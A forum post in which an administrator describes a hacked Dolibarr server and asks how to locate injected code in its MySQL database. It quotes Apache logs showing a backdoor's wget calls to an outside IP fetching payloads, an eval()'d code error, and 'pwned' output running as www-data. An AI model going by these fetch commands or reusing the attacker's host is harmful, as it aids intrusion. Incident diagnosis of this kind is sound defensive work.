Hello,
A few years ago, I installed the latest version of Dolibarr of that time on a client’s Debian/MySQL/Apache server.
Since then, no one ever bothered to update it, which I suppose is the reason why they got hacked.
Well, they didn’t update system packages either, so that could be it, maybe you’ll tell me.
The problem that was reported to me is : the login page’s appearance changed and the user is stuck on a blank page once logged in.
What I observed is :
- the
/theme/eldy/style.css.php
endpoint return an HTTP 500 error on the login page ; - the
/index.php
endpoint returns an HTTP 500 error once logged in.
So, I opened /var/log/apache2/error.log
, and found this :
--2022-11-23 16:08:27-- http://205.185.118.26:6622/javaa
Connecting to 205.185.118.26:6622... failed: Connection refused.
sh: 1: echo-->: not found
--2022-11-23 16:08:27-- http://205.185.118.26:6623/am32
Connecting to 205.185.118.26:6623... failed: Connection refused.
sh: 1: echo-->: not found
sh: 1: echo-->: not found
[Wed Nov 23 16:08:27.652329 2022] [:error] [pid 4912] [client 82.66.132.2:45944] PHP Parse error: syntax error, unexpected ')' in /var/www/dolibarr/htdocs/core/lib/functions.lib.php(6805) : eval()'d code on line 1
It very much looks like a backdoor that stopped working, yes, but I didn’t want to believe this at the time.
So, simply treating it as an unknown bug, I did what I’d do by default : restore a backup dated earlier than the first bug’s occurence (I initially made a script that archives /var/www/dolibarr
and dumps the MySQL database every day).
No issue occured, except the “bug” was (obviously) still occuring (since the hack must have occured a long time ago, while the hacker’s server was stopped a few days ago).
Then, I noticed that the failing endpoints return the following content :
<!--
pwned!!!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<!--
pwned!!!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<!--
pwned!!!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Finally convinced that a hack occured and assuming that Dolibarr PHP files were altered, I replaced all but the documents
directory with a newly downloaded and extracted archive of the same running version.
But, nothing changed after that, so I now assumed that alteration occured at a system level, so I planned to make a system image, wipe the server, and finally restart from scratch, except for the documents
directory and the database wich I would restore.
Meanwhile, I happened to wonder : what if it was the database and not the files ?
I would find that odd, as I don’t see how would a virus be located in a database.
Anyways, in order to exclude this hypothesis, I created an empty database and made a second Dolibarr installation using that one.
Turns out, it didn’t reproduce the bug !
So, I edited config.php
and changed the dolibarr_main_db_name
value with the first database’s name : that made the bug occur !
Then, I edited the first instance’s config.php
and changed the same variable with the second database’s name : the bug was gone !
So, this confirms that the alteration actually occured in the database, not in the files, which means I need to locate it in order to recover Dolibarr.
But, how ?
I don’t have any MySQL dump old enough to make a before/after comparison.
Thanks.